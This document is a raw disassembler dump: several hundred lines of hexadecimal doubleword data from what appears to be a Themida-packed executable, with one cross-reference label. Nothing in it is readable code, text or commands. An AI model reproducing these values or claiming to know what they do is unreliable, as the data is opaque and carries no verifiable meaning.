		dd 0BD78A7FBh, 0A12E83A6h, 0F54829BAh, 5F32A9F0h, 44FD754h
		dd 898E482Ah, 0BA178C92h, 0DA182664h, 19451AAh,	325E0000h
		dd 0A302B838h, 520AEF8Eh
		dd 0C67FA1A7h, 0A14D6487h, 0D62929BAh, 98957CD0h, 921F4281h
		dd 1129BAA0h, 479A712Bh, 0F6BFE241h, 9029BAA0h,	0FBD5383Dh
		dd 175A6018h, 0D7545EC4h, 0ED43A001h, 0AADA18B1h, 14DDAh
		dd 4ED12400h, 4247FFE8h, 6689A04Bh, 29BAA153h, 8CD3D82Bh
		dd 0D7545F4Fh, 5AB00D6Eh, 0AADA182Ch, 12947h, 947A5400h
		dd 5F85D5DAh, 66068772h, 0C6E8EE99h, 868B452Bh,	0AC644923h
		dd 0B0AAB0A7h, 0CAF610CAh, 0AFD2E946h, 2E5AA74Fh, 2A7176C9h
		dd 21DA9A83h, 0A60459BAh, 53D4E078h, 2093h, 4FD1DD00h
		dd 3CB6D9F0h, 0C22E5AA0h, 8A236A6Fh, 0B321DA9Fh, 639FFD52h
		dd 8C53D4EBh, 85h, 8B452BD6h, 0FFB79A74h, 0CCAEACF9h, 290F0D12h
		dd 866C6A6Fh, 4797B2CCh, 0B629BAA5h, 0D0FC16D0h, 0A9CCE340h
		dd 2E581453h, 99D33D69h, 8557028Bh, 0F60D607Fh,	66803A1Ch
		dd 1FF8B294h, 0EDF0A65Dh, 0C157856Eh, 0A2000003h, 14E600BAh
		dd 895B752Dh, 0D2ECA4h,	73455F17h, 68BDD791h, 2EE8CA7Fh
		dd 0A45E4214h, 1DD5B88Ah, 914B3103h, 89AC9777h,	21D4D328h
		dd 2B42DC4Eh, 0A3758F49h, 6119FCBDh, 0A0BA655Ch, 0AECC6A6h
		dd 0A3A86049h
dword_5A9668	dd 0FEFC01ACh, 675E631Bh, 0D6BCB6BCh, 73783015h, 0CECCD17Ch
					; DATA XREF: Themida_:00561B69o
		dd 0F9142EE8h, 29BAA0B5h, 0BB9E828Eh, 0C628FF03h, 0C7C27406h
		dd 4CE2051Ch, 0EA2E5AA2h, 0E2052910h, 21DA99CFh, 0A4A954A7h
		dd 3588A7ADh, 452B211Bh, 0A288868Bh, 7EA2CEE8h,	7787AAC1h
		dd 12E5AA7h, 4B62A9AEh,	5021DA9Bh, 0B1AFB46Eh, 1A1015CFh
		dd 3AF490EDh, 0A0DA0413h, 41A2B25Dh, 7F508EECh,	277B53D4h
		dd 88000000h, 0D12CCAEh, 0D1EE1016h, 0B6D9F04Fh, 2E5AA03Ch
		dd 236A6FC2h, 21DA9F8Ah, 9FFD52B3h, 53D4EB63h, 0DE8Ch
		dd 452BD600h, 0A688868Bh, 7396D5ECh, 29BAA13Eh,	92DFE538h
		dd 0EFF4AE94h, 13CBB28Ch, 1711170Eh, 425D7731h,	29BAA59Ch
		dd 0D0619FFh, 0F4E837E5h, 28FA14BFh, 0E49C8142h, 34DC3439h
		dd 69BDE0F7h, 0DF2E59F7h, 656A2205h, 0F649686Eh, 9B79A5DCh
		dd 0B962C3C4h, 0E59F8335h, 8FE3E9E0h, 688BA281h, 2677E68Eh
		dd 0A47E95E8h, 262EAFC2h, 31AF0A18h, 0B879A30Eh, 0DD88DB29h
		dd 5C411B32h, 6A3C9EA4h, 0B9F5CE88h, 4EE61031h,	24E3765h
		dd 2D150000h, 0A0875973h, 17FCCEE8h, 8A73455Fh,	4E6B8D2h
		dd 0F2DB304Ah, 87A15B3Dh, 0FD17D1B5h, 7690482Bh, 0EA04BEA4h
		dd 0B5FC1F0Ah, 0C121D4D1h, 492BB54Fh, 0BDA3758Fh, 0B66119FCh
		dd 102739Fh, 4C6EE23Ch,	0DADE03FBh, 343A974Fh, 0DCC19BD2h
		dd 0D1FC1E24h, 0B6D9F04Fh, 2E5AA03Ch, 9E5B5682h, 0FBD6A8F5h
		dd 0A9AE6649h, 3A8DACB2h, 0A3624923h, 525702BAh, 0DC7A95Bh
		dd 3A73BA07h, 6121DA82h, 0BFBDC27Ah, 201E23DDh,	877E833Bh
		dd 1053B0DDh, 0C689B500h, 1F2AF854h, 0F350BD24h, 0EC97A300h
		dd 651C71E6h, 0E2557839h, 757B7578h, 0D4E6336Fh, 0F05C53h
		dd 8F690000h, 5008EBAAh, 0C67D9FA5h, 4B5109ECh,	5B586B51h
		dd 2A8AF545h, 815B721Dh, 3BF3DC9Dh, 8E943F36h, 0A7614341h
		dd 0EF835BA2h, 14FA29B9h, 8469435Ah, 2D64C6CCh,	0AEB36D53h
		dd 0D1B7B1B7h, 0C6712910h, 34ECD5AFh, 8789E12Eh, 106BEA1h
		dd 25485F0Ah, 2E59D001h, 43930B37h, 0F978C59Bh,	191D909Ah
		dd 0E3E9F27Eh, 651518C4h, 68DC3F33h, 0A977A3BDh, 0B299738Ah
		dd 0A96148FAh, 0C60544A3h, 0DA4D0EA3h, 0F156821h, 77C38BCCh
		dd 8198EB26h, 0F10BC5A7h, 6D3E8EBAh, 0DE20CB48h, 42FCDED8h
		dd 105B3369h, 0B5E3CCE6h, 0F0h,	0B7D18B73h, 2C46FEE5h
		dd 0A3BD755Ah, 1630E8D1h, 8EA86244h, 0B99B9039h, 2F13E5FFh
		dd 0A6895B75h, 1C02D4EEh, 7D684862h, 0D4D0575Ah, 13AD1F21h
		dd 758F492Bh, 1AFCBDA3h, 4D645B60h, 0BAA0872Ah,	0F19CEF29h
		dd 452BDDD7h, 0A288868Bh, 6B97CEE8h, 1B895FB5h,	22767C63h
		dd 72A41FEh, 2E5E6D5Fh,	0BAF71A59h, 0C421D56Dh,	0F94C6B71h
		dd 0F2208E2h, 0AC180EEEh, 82883356h, 97513735h,	0BC3A680h
		dd 0EBD1A305h, 878C462Ah, 7DE0E590h, 91961B3Eh,	8DE021D5h
		dd 585B4487h, 5B4032F8h, 0BAA09EA3h, 17FDFB00h,	4561585Dh
		dd 6F55A7FCh, 0AEE30AB5h, 67210751h, 0DB957B4Dh, 4F6285C4h
		dd 271537D8h, 0A10E8D7Bh, 4EF9876Eh, 14FDFB48h,	35E4CDF0h
		dd 356D1538h, 9EAFFDF9h, 1BC619F0h, 9EF32016h, 92AC664Ch
		dd 1B20DAC0h, 3EDh, 66248300h, 8489432Bh, 0E1E6A086h, 434800E3h
		dd 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h,	2025DDC2h
		dd 7E833B22h, 0E789576Dh, 4C781h, 0EF830000h, 243C8704h
		dd 240C895Ch, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 0BC682414h, 8900003Fh, 0B868243Ch, 89000058h, 6DBB241Ch
		dd 0BA2CA627h, 0DB3F9E5Dh, 545BDA01h, 83243C8Bh, 0FD6804C4h
		dd 89000016h, 478F2414h, 243C8B08h, 81E68956h, 4C6h, 4C68100h
		dd 87000000h, 0FF5C2434h, 815A2434h, 4C4h, 0AE01E900h
		dd 0EEC1FFFAh, 0C8157E25h, 0B9B9188Ch, 5DB8CCE8h, 307E5D2h
		dd 5AE0FFC5h, 62734FA2h, 5E46DF65h, 88451441h, 944F741Bh
		dd 456D7A45h, 87BF430h,	123081E0h, 0B322AC43h, 2156F99Ch
		dd 9F55B853h, 9E7C2263h, 5A67A128h, 3D35E709h, 9B52CE3Ah
		dd 8D63AD4Bh, 312DEFA7h, 482CC8F1h, 0F9081864h,	0A267ACE8h
		dd 0A3307026h, 4F6A707Ch, 0A1388C0Dh, 2D645167h, 8B209451h
		dd 0BD83FCC0h, 7E006B1h, 83097500h, 0E001C5BDh,	19740007h
		dd 0C08B5350h, 3FCB8h, 0F5858900h, 8D07E020h, 0E2BC629Dh
		dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501774h, 3FCB8h, 0F5858900h
		dd 8D07E020h, 0E2B9519Dh, 5BD3FF07h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0C5458B06h
		dd 0E4D8D781h, 0D90F39BBh, 0FC08B49h, 28Ah, 83DA8B00h
		dd 0E016B1BDh, 840F0107h, 57h, 68B0Fh, 0EA810000h, 5C7B0F07h
		dd 1115BD83h, 0F0007E0h, 3E85h,	83FEB600h, 0E02FF5BDh
		dd 840F0007h, 86h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 50C35646h, 1672C096h,	0E92D65ECh, 7
		dd 51EFE146h, 0E9AD1C0Eh, 331h,	68C0Fh,	0D2810000h, 5A3A0148h
		dd 12E9h, 0F63F8C00h, 282F08F8h, 0B8322B28h, 0A15E2DADh
		dd 2E2EAEh, 0F000000h, 6ADFBFh,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0EFBD7CC3h, 8609E39Dh
		dd 0DA816685h, 755A020Ch, 0C70E61AEh, 28A4B4F6h, 0C0FAB49Fh
		dd 99BEEDBCh, 0C49AF815h, 0C47BF01Dh, 0C0AFB480h, 0C514E5DDh
		dd 0E28C2C84h, 51EAC55Eh, 0C0FABD74h, 947D169Ch, 21AC6226h
		dd 4B397F1Fh, 4522EE42h, 0C734E33Ch, 28B9B4F6h,	0C0F5B49Fh
		dd 9A39EEBCh, 0C459E015h, 0C49AF01Dh, 0C05FB487h, 9A6CE6DEh
		dd 9F0B0B6h, 0CF224898h, 43FA6D2Bh, 0C0FAB49Fh,	3FAD5F1Ch
		dd 92BEDE4Ch, 0C05FB774h, 3F5949Ch, 0E4833DC6h,	0E4AF3598h
		dd 0C0F5A298h, 3A8F69Ch, 404E5063h, 957BC76h, 295FB49Fh
		dd 0C0AFB496h, 98D301A8h, 0F3A11304h, 28A01797h, 0C0FAB49Ch
		dd 0F89035C1h, 7BB95149h, 9C63E6E6h, 24372Eh, 0C0DC3493h
		dd 46E4B49Ch, 0C0F5B499h, 0D81035FAh, 0EDCBE453h, 0AA9AB015h
		dd 0C3B7E59Ch, 0E0AFB49Ch, 498E77C5h, 41EF90D0h, 0D8F190D8h
		dd 81FAB49Ch, 1FED77CDh, 4AB4FEB0h, 31DED441h, 0A140353Fh
		dd 0A1000B93h, 0E4A7B593h, 90F5DE62h, 0C0FAB774h, 325949Ch
		dd 0E4FA3DC4h, 0E41B3598h, 0C0AFA098h, 387F49Ch, 0C551D2AAh
		dd 77FAEC57h, 0C2F6B142h, 0C017B49Ch, 0C0BD5CCEh, 9A7FB49Ch
		dd 9426EE5Fh, 8456B0B8h, 0C0F7B0B8h, 92B7B49Ch,	0F8145E5Fh
		dd 88FF1C9Bh, 41B1770Ch, 0C05FB489h, 0C0AFBD74h, 93DE829Ch
		dd 3C4B9821h, 137454D9h, 0B38BB218h, 0AA753FC6h, 0C356E29Ch
		dd 0E05FB49Ch, 49F177C2h, 41D390E8h, 0DAEF90D8h, 86F5B49Ch
		dd 174277CAh, 870589A5h, 0A60106EDh, 0A0A3FC17h, 78CE2F2Dh
		dd 0C0D7B49Dh, 0C0EBBF74h, 0DC9DB69Ch, 0E4F2537Bh, 17A73CCh
		dd 95C35FAh, 90CEEE1Ah,	517C3FFAh, 0A63E761Ch, 0C0816D10h
		dd 0C0F65CCCh, 98DAB49Ch, 84F4EC5Fh, 843FB0B8h,	0C04AB0B8h
		dd 90EFB49Ch, 0CF63F85Fh, 0C0EBB51Ch, 43FA419Ch, 0C0FAB492h
		dd 0C07DB274h, 5B03649Ch, 9396B491h, 159EFC6h, 5252BB98h
		dd 0CFEBB49Ch, 41936A23h, 99ACCF77h, 282BB4F6h,	0C0BEB49Fh
		dd 9E9CEABCh, 0C48BC015h, 0C4F3F01Dh, 0C0EBB48Ah, 1536E2DAh
		dd 0C8138670h, 57DB49Ch
		dd 0C7621AE3h, 40B9E080h, 45A0DCA5h, 0C0D7B419h, 0C0EBA575h
		dd 31CA099Ch, 0B5216920h, 23F13564h, 0DEE2FDB2h, 0B9D42CB7h
		dd 0C524BB9Dh, 0A6D7B49Ch, 0C59F561Dh, 0C0F54B1Dh, 42F5349Ch
		dd 0C07DB4C9h, 45796E17h, 0C7BA60C7h, 0C0AFB49Dh, 9A3E6C17h
		dd 0CFEBB49Ch, 0C0F5B615h, 29223F9Ch, 0C07DB4A9h, 0F95435FAh
		dd 4A0EEDD5h, 43C9EF64h, 0CF28BFE5h, 0C0EB9418h, 0FA37349Ch
		dd 14A1315Bh, 0C07CB379h, 4BD8B49Ch, 0C9B6E74Ah, 13AFB49Ch
		dd 0AEA04E33h, 0D61D2191h, 2995FCC6h, 0C0FAB496h, 0DE1F2E91h
		dd 8D7128Dh, 23DE1E4Ch,	0F5224A98h, 8A3D0DFDh, 4566CB79h
		dd 0C7106DA7h, 177F0911h, 3846B379h, 0CF8EB3E8h, 2B187D4Dh
		dd 0C0BE5D69h, 3A9FB49Ch, 636991E6h, 551706F3h,	9B3726E9h
		dd 0AAB91548h, 0C356E79Ch, 0E05FB49Ch, 49F477C7h, 41D390C0h
		dd 0D5EF90D8h, 83F5B49Ch, 69F677CFh, 0D494D4FCh, 0CBEB49Ch
		dd 0FC688324h, 53F318E4h, 4B2C6403h, 0A831404h,	0A6BB6490h
		dd 0A1638622h, 71C037FDh, 0C1B9548Ah, 0C07D3093h, 4BC9B49Ch
		dd 0D56A3743h, 0C0EC548Dh, 0C0E73193h, 77F5B49Ch, 35C03743h
		dd 0C0B954B3h, 0C0763093h, 1125B49Ch, 0C0D76B75h, 97EBDE9Ch
		dd 0C0F5B774h, 3A5949Ch, 0E4013DC3h, 0E4FA3598h, 0C05FAE98h
		dd 3F8F39Ch, 2CA4C21Ah,	4320A62Ch, 20E30521h, 45F5B59Bh
		dd 0C07DB41Fh, 0D802771Dh, 0AA02CB72h, 0C347E39Ch, 0E0D7B49Ch
		dd 49B477C3h, 41F190E0h, 0D7FE90D8h, 877DB49Ch,	0C0F977CBh
		dd 475074DFh, 0C0AFB49Bh, 23640FCBh, 3B1A461h, 28A0B4F6h
		dd 0C0FAB49Fh, 9DBEE9BCh, 0C49AD815h, 0C47BF01Dh, 0C0AFB480h
		dd 2214E1D9h, 712334C1h, 40F693F2h, 0C0F93493h,	4B1BB49Ch
		dd 0C0F45D44h, 0CDB7B49Ch, 0C5AFB49Ch, 0D8E87A50h, 909AB96Eh
		dd 93E842D6h, 0C07EBBFCh, 4B7DB49Ch, 9DE5D552h,	280CB4F6h
		dd 0C0AFB49Fh, 9B14EFBCh, 0C4CFE815h, 0C4D1F01Dh, 0C0FAB481h
		dd 27BEE7DFh, 236C5E2Eh, 90975D48h, 1A7034E7h, 93013453h
		dd 14610911h, 4D78B379h, 0C71F6D94h, 0FA21A924h, 613B87E7h
		dd 0EB5854B1h, 3D0D7553h, 66CB798Ah, 106DA745h,	7F0911C7h
		dd 46B37917h, 8EB3E838h, 187D4DCFh, 0F305E983h,	5BBD83A4h
		dd 7E5D4h, 8D8D0D74h, 7E04EE8h,	1B8h, 40E1FF00h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 12C35343h, 517968C5h
		dd 0D68BEA50h, 810Fh, 0E8830000h, 52006A2Dh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 7E7C64CCh
		dd 0E9F9BE2Eh, 11h, 4EF91C1Ah, 0A08D7853h, 8F7C2357h, 76D9B019h
		dd 6AC08BDCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 5990C350h, 4B879324h, 0FC18A4Ch
		dd 282h, 0E9DE8B00h, 0Eh, 166131C4h, 9D75EE11h,	5670E121h
		dd 0BD831FB9h, 7E006B1h, 83097500h, 0E001C5BDh,	19740007h
		dd 0C08B5350h, 3FCB8h, 99858900h, 8D07E023h, 0E2BCC99Dh
		dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501774h, 3FCB8h, 99858900h
		dd 8D07E023h, 0E2B96A9Dh, 5BD3FF07h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F0C024B8h
		dd 602E08A1h, 0BA660E87h, 6AC626h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 87B46EC3h, 0C88D9052h
		dd 0BB664B14h, 0D98BB4D8h, 8D8DC08Bh, 7E5DB32h,	24399529h
		dd 850107E0h, 7E02F0Dh,	18158D89h, 665607E0h, 0E4D7E881h
		dd 4985C75Bh, 7807E020h, 0F000064h, 385h, 0F98B6600h, 22C585C7h
		dd 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 150424h, 56460000h, 0E863DEC3h, 10h,	4A787A6Fh, 7A2FAA6Eh
		dd 47BCF338h, 0F48AF105h, 75D858Bh, 295E07E0h, 0E03149BDh
		dd 0E5B5FF07h, 0F907E022h, 209195FFh, 6A07E0h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 36434EC3h, 6A72DE6Eh, 0A995FF00h, 8B07E018h,	570BEBC0h
		dd 95BD5222h, 5701E726h, 14E87A8Ah, 98000000h, 0D88F5594h
		dd 2F78D56Ch, 3ABFC218h, 76229351h, 89C86BF7h, 0E01829B5h
		dd 95895A07h, 7E015F5h,	5C11C281h, 9D890000h, 7E0142Dh
		dd 0AD5C4ABBh, 9CF38110h, 0F10AD4Ah, 1B81h, 14E800h, 0F13A0000h
		dd 0B4441851h, 25FE5795h, 7FA5C74Eh, 0D436394Eh, 5FF5E712h
		dd 0B58B32FFh, 7E00445h, 0E5858959h, 8107E025h,	9ECA76E9h
		dd 0F0B70F6Ah, 6FB4F181h, 0C1812A5Ch, 25003AEFh, 2A558D89h
		dd 0B85107E0h, 556EE2F5h, 10E9028Fh, 8F000000h,	22F12DFEh
		dd 1A7ED09Ch, 3D7AA206h, 8359307Bh, 0B58901EAh,	7E0186Dh
		dd 814A4A4Ah, 1EBh, 0A1850F00h,	66FFFFFFh, 0A8B4CE81h
		dd 0DD148D8Dh, 6A07E5h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0D394EEC3h, 8D890D2Fh, 7E01815h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A7C35646h
		dd 840DBE65h, 85C738B0h, 7E02049h, 6E9Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 64C35141h, 0BB48B38Bh
		dd 58DD93BAh, 0D9858B9Bh, 0C707E023h, 0E022C585h, 7, 7D853100h
		dd 0FF07E02Ah, 0E007A1B5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 5880F6Fh, 0B8000000h
		dd 358E4B28h, 10E8h, 0E871B500h, 6DB31E34h, 1648A8EDh
		dd 0F9E22E1Ah, 0DFBF0F64h, 9195FF5Eh, 6A07E020h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 101AC353h, 765AA1D2h, 89EB72DFh, 0E007259Dh,	0FF006A07h
		dd 0E018A995h, 0EBC08B07h, 0C7DD101Bh, 0C94F3B0Ah, 44E1ED7Ch
		dd 0D6B7FAEFh, 4264AAD5h, 49D1645h, 26836600h, 43E9h, 4768B00h
		dd 0Bh,	0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h
		dd 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h
		dd 5 dup(0)
		dd 0B60E9h, 0DE876800h,	50E907E5h, 68FFFAA3h, 7E5DFE4h
		dd 0FAA346E9h, 0E0F968FFh, 3CE907E5h, 68FFFAA3h, 7E5E1BCh
		dd 0FAA332E9h, 0E26F68FFh, 28E907E5h, 68FFFAA3h, 7E5E35Bh
		dd 0FAA31EE9h, 0E42468FFh, 14E907E5h, 68FFFAA3h, 7E5E629h
		dd 0FAA30AE9h, 0E76D68FFh, 0E907E5h, 6FFFAA3h, 784A641Eh
		dd 0EDBFD991h, 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h
		dd 8C2A678h, 81391CEEh,	0F5AF9567h, 0ED10FBDBh,	21D4C3C4h
		dd 0D1AE48BAh, 4E06E94Fh, 2698CA3h, 782E5F7Ch, 0F6E20E25h
		dd 218D98F9h, 70AF0E14h, 28A30E31h, 88DB21D5h, 8FA28882h
		dd 3D23DCA5h, 0DD457F83h, 2E081FCAh, 27898F47h,	0B0B56F55h
		dd 6A12C858h, 845B9403h, 651DBABEh, 3E0E492Fh, 15597C93h
		dd 63267A1Ah, 391FF910h, 0AD93657Fh, 8A96EEF3h,	345796ADh
		dd 29B9E17Dh, 41A0A6F9h, 59C4541Eh, 7E57AA2Eh, 0EDEEFC85h
		dd 0C88BB9A2h, 0B2000009h, 24F610CAh, 996B853Dh, 10E2FCB4h
		dd 83556F27h, 78CDE7A1h, 3EF8DA4Fh, 0B46E5224h,	2DE5C89Ah
		dd 0A15B4113h, 99BCA787h, 21D4C318h, 0C652EC5Eh, 454B03ECh
		dd 1C3F654Bh, 29BAA095h, 0DEE38EE1h, 2940FAE0h,	752D10EAh
		dd 0BAA1377Ah, 5D803F29h, 29BAA154h, 262CD72Ah,	0AB8898C4h
		dd 0A78D7194h, 388B2E5Ah, 9AC1EC33h, 1B7C21DAh,	0E03A68C6h
		dd 515553D4h, 62000000h, 0E8EDA588h, 0FAB7DAF1h, 8421DA92h
		dd 0D1092B31h, 0FFD9F04Fh, 0F9585E16h, 5AA01CD6h, 0A0F622Eh
		dd 0DA9FEAC3h, 9DF25321h, 0D4EB033Fh, 0E3255153h, 573E0B89h
		dd 3B7FA1Dh, 6CBF21DAh,	0EE37BBC1h, 44000000h, 4772836Ah
		dd 3FCF6996h, 65878D38h, 868B452Bh, 0A8604923h,	0CC6A8A2h
		dd 0CC8FC9F5h, 0B7DB9C9Fh, 0BA7D1D94h, 5B065929h, 240A0855h
		dd 8167656Ah, 3892ADC7h, 0D329BA7Eh, 8B432CEDh,	508FC6E0h
		dd 0BA79842Dh, 0A3A7FA29h, 1DCD1C91h, 7E787EF7h, 9BC7DE98h
		dd 6F0726D7h, 8C0A9D2h,	5B610C03h, 0CD6AB60Eh, 0D62F93B6h
		dd 56A92E59h, 492B053Ch, 8D938A8Fh, 4158D739h, 7791311Eh
		dd 1F368926h, 8FA96345h, 381ADBBDh, 0F316797Eh,	29B869BEh
		dd 0FBA65B8h, 10995336h, 4D7B64E6h, 86Bh, 536D270Fh, 0C8E29A81h
		dd 3F5911F6h, 0B2CC846Dh, 2A44FEE0h, 5537ECD5h,	0CBAF819Bh
		dd 4225F711h, 0B89E708Ah, 1904E4FEh, 0D4C1BBF6h, 0B751C321h
		dd 758F492Bh, 3EAABDA3h, 0A6604218h, 6546D2A2h,	0E5C9A3BAh
		dd 7D2F262Bh, 75D7DD97h, 0F04FD17Bh, 0A03CB6D9h, 16C22E5Ah
		dd 0F3BD02B3h, 1419C4CCh, 624F72B1h, 0EF21D9ECh, 0A95B9763h
		dd 0FD572EE6h, 61585D17h, 406DB0B6h, 0FD21DA27h, 3BF3D8B2h
		dd 0D63C035h, 53D490D1h, 0C1FAh, 0A5C80700h, 21DA1B0Ch
		dd 0F7191F72h, 868B452Bh, 66BBF723h, 3857AF93h,	95563832h
		dd 0FEF5FAB2h, 78EDC4E7h, 368929BAh, 8B3F868Bh,	2A29BA7Ah
		dd 0C3933144h, 682D1FABh, 0EBD1A3BDh, 8AC92C31h, 0B9DB4A67h
		dd 0AD883429h, 21309BB8h, 0B2060CB7h, 97BAD16Eh, 2E59F02Bh
		dd 114862B5h, 92975137h, 0DF41959Bh, 38264960h,	0BE267766h
		dd 987A546Bh, 3338F0D7h, 0A577913Ch, 631B02C3h,	6A02DFB8h
		dd 2E17E610h, 75600h, 823C2400h, 0F7AF9668h, 6E260BDDh
		dd 0E1998254h, 5913F5C7h, 4CC1EA3Fh, 0C496B06Ah, 3A0C26E0h
		dd 0B3859F57h, 19F913CDh, 0C0A60B2Eh, 5ED021D4h, 8F492BC4h
		dd 3BDA375h, 452BEFE9h,	0A288868Bh, 2B12138Fh, 0C06BDF1Ch
		dd 82228BA6h, 0F11F29BAh, 69F81B32h, 0B52E5F5Ch, 5B365389h
		dd 0FE022FF5h, 32723F58h, 405F65BDh, 16FCD6EDh,	886B455Ch
		dd 0CED4CBD0h, 0FAB49A6Ch, 0C8EDB7E3h, 76DDE159h, 0D5845E53h
		dd 1AC51821h, 0A16FC714h, 0A8916B82h, 4EDEBF0h,	3C9BA14Ch
		dd 75906119h, 0F5185726h, 29B58EBCh, 4A696FC2h,	270FFD9Eh
		dd 6F862A01h, 0B4B7654Ch, 13BE1129h, 144C633Ah,	65937CE6h
		dd 693h, 2B45FFE7h, 0A0BA7259h,	1731E9CEh, 8AA45C45h, 21CD6B8h
		dd 2D0F04ADh, 0A3875973h, 1AFDCFE9h, 90764862h,	0F1DCBCD6h
		dd 0D4BFE3CEh, 8F299B21h, 868B452Bh, 0E3E8A288h, 8BDD327Bh
		dd 0F3D1EBA5h, 5434EAB7h, 0E16DD905h, 69BE26FDh, 7DF63h
		dd 0FB290000h, 17Dh, 0AECC691h,	0FEA96349h, 0A0F8B5F8h
		dd 0C74929BAh, 92775168h, 0A1664B6Eh, 0BD1029BAh, 10160D12h
		dd 7BE88EB1h, 0CB1E2E5Fh, 0B49B75B4h, 0AE3E70A3h, 0FBA648F3h
		dd 215FBF5h, 0E890995Eh, 9AB45F57h, 2328E2C8h, 0CFE645CBh
		dd 750FCEACh, 0FCD52826h, 0E613F32Bh, 0E0315F48h, 9A000005h
		dd 0CDEF8B2h, 81536D25h, 0F8CAE49Ch, 6B3D570Fh,	60B5CF89h
		dd 26E0C277h, 9C563A0Ch, 15CDB082h, 894329FBh, 81A48F6Fh
		dd 21D4BF30h, 2B3AD446h, 0F2743245h, 5ECC4BB6h,	3C709CB3h
		dd 4EBB0ADDh, 0CDCB181Eh, 0C0282DE7h, 0EAD01A77h, 0A381630h
		dd 4A543474h, 0CCD28C70h, 1148h, 0BEFB9200h, 54000000h
		dd 0A0BFF215h, 64B729BAh, 4FD13C5Eh, 0B5B6D9F0h, 2D2E5F7Bh
		dd 3E9C3DAh, 775D2F49h,	0B060B8BDh, 0DE1D5C73h,	0D4C3F6BBh
		dd 9C3A521h, 96D9DF32h,	26799ED8h, 671F04DEh, 60834261h
		dd 29BAA151h, 182FDA2Dh, 849E583Eh, 83A6CCB2h, 29BAA12Eh
		dd 4B668948h, 3329BAA1h, 738A35E0h, 0F7FDB799h,	71CE52AAh
		dd 0B9F81B5Ah, 0EA29BAA0h, 50474C06h, 0C1202679h, 5A83D49Eh
		dd 0FED72A2Eh, 0EDEE87C3h, 0F43D6B54h, 86000004h, 0F8CAE49Eh
		dd 6D3F5911h, 0E4B6D088h, 572943FBh, 4CA1BB75h,	12CCAE63h
		dd 884226F8h, 1B99C6Eh,	752F15E7h, 6D907B5Bh, 21D4BE44h
		dd 0FB2EC83Ah, 156h, 3ECC691h, 494F464Bh, 0F50C2BF5h, 5F7B99D2h
		dd 6465912Eh, 0C9E80BA8h, 0B521D4C8h, 85595E62h, 6827464Ch
		dd 0D5356C45h, 14BF1221h, 6692BEFDh, 0AE3688F8h, 9E238E89h
		dd 0C52E21D5h, 3EF26F5Ah, 0F5FB4E25h, 1CD6BC96h, 904A3002h
		dd 4EED338Bh, 96B9F837h, 21D5231Bh, 0C70A1063h,	2679FDA7h
		dd 0CE2C6591h, 77A36456h, 0E8FF5271h, 546E280Eh, 68D8F11Dh
		dd 0CCDCC9E2h, 2CE6CCC6h, 0E241CF27h, 6ECAA8CBh, 0E1342E5Ah
		dd 0EE92D308h, 517F68EDh, 42Bh,	93AD674Fh, 822DAC1h, 7F995136h
		dd 0F20CC4ADh, 6A843E20h, 9577AC15h, 0BEFC1DBh,	82653751h
		dd 0F8DEB0CAh, 5944243Eh, 0D4BC7B36h, 0F7910321h, 9D84452Bh
		dd 3EE9E0E5h, 94553B39h, 0FBF2F7AFh, 9AE34B50h,	530DF345h
		dd 0C27C623Ch, 0F7235ABCh, 0C65CDD52h, 0BFD578D7h, 5EB339F3h
		dd 7BA7ADB3h, 94543443h, 5Ah, 26DEC7A1h, 4FD1FE20h, 88ADD9F0h
		dd 8DB7A23Dh, 0B9F81B32h, 0C529BA3Ah, 0CE0D6C72h, 3B456C8Fh
		dd 60429BAh, 0EE9F28EBh, 0F2F84B22h, 5ABC26AFh,	0BEE1A02Eh
		dd 21DA23F3h, 0CA28DF8Bh, 49597646h, 2DCF39Eh, 304B651Dh
		dd 21DA867Eh, 637D371Dh, 0EFF4AC91h, 36AC1h, 87C65700h
		dd 0BAA14D64h, 0D0D62929h, 243BF3D6h, 0A0EFC2E5h, 348729BAh
		dd 0FDE3E12Eh, 9A9F573Ch, 7E1F8A3h, 6E656A22h, 90CF0668h
		dd 0BAA1446Dh, 0E1E73A29h, 304701E7h, 0CB27E504h, 0B6BCB4DBh
		dd 0CB856B69h, 5F5275B4h, 3C29B9A4h, 0A49BA05Ah, 12747ACDh
		dd 0E6FD3AE6h, 59AA3BC3h, 0FCE33D2Eh, 9D483F44h, 0A65C5198h
		dd 80E121D9h, 1D91CD23h, 42BA53D4h, 4000000h, 0D9F04FD1h
		dd 5E286E9Ah, 1F8A9302h, 877E833Dh, 5F93D6DCh, 992E59AEh
		dd 73552F46h, 0B7BDB4B9h
		dd 0AD8A236Ah, 68B321D9h, 0ADAB0629h, 80D321D9h, 272DE5CEh
		dd 0C3FF5DB2h, 0EC53D419h, 0DBh, 8B452B36h, 4AF72386h
		dd 0D3A18405h, 16F8F2F8h, 7359575Ch, 0B1498760h, 26D869CFh
		dd 8E858A44h, 0FAE0DEE3h, 0BF0B2640h, 0F929B9D8h, 7B813B1Fh
